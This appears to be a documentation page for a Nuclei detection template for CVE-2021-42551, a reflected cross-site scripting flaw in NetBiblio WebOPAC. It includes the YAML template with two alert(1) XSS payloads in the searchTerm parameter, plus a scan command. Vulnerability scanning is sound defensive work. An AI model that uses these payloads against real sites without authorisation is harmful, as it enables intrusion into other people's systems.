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NetBiblio WebOPAC - Cross-Site Scripting

ID: CVE-2021-42551

Severity: medium

Author: compr00t

Tags: cve2021,cve,xss,netbiblio,alcoda

Description

Section titled “Description”

NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-42551


info:
  name: NetBiblio WebOPAC - Cross-Site Scripting
  author: compr00t
  severity: medium
  description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42551
    - https://www.redguard.ch/advisories/netbiblio_webopac.txt
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/compr00t/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42551
    cwe-id: CWE-79
    epss-score: 0.00124
    epss-percentile: 0.4686
    cpe: cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: alcoda
    product: netbiblio
  tags: cve2021,cve,xss,netbiblio,alcoda


http:
  - method: GET
    path:
      - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
      - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'


    host-redirects: true
    max-redirects: 3


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SearchTerm: 'x'+alert(1)+'x',"
          - "SearchTerm: 'x\\\\'+alert(1),//',"
        condition: or


      - type: word
        part: header
        words:
          - "text/html"


      - type: word
        part: body
        words:
          - "NetBiblio"


      - type: status
        status:
          - 200
# digest: 4b0a0048304602210093c9d8d4dd4f8aa35b598ab8e4c3e366cf6651de3ae17cd7ca0dab7c8849a69c022100b4577a2af2cf59b0a185b464d524073bc8ec9d95d2f8aa05b3fc04f845a013c3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-42551.yaml"

View on Github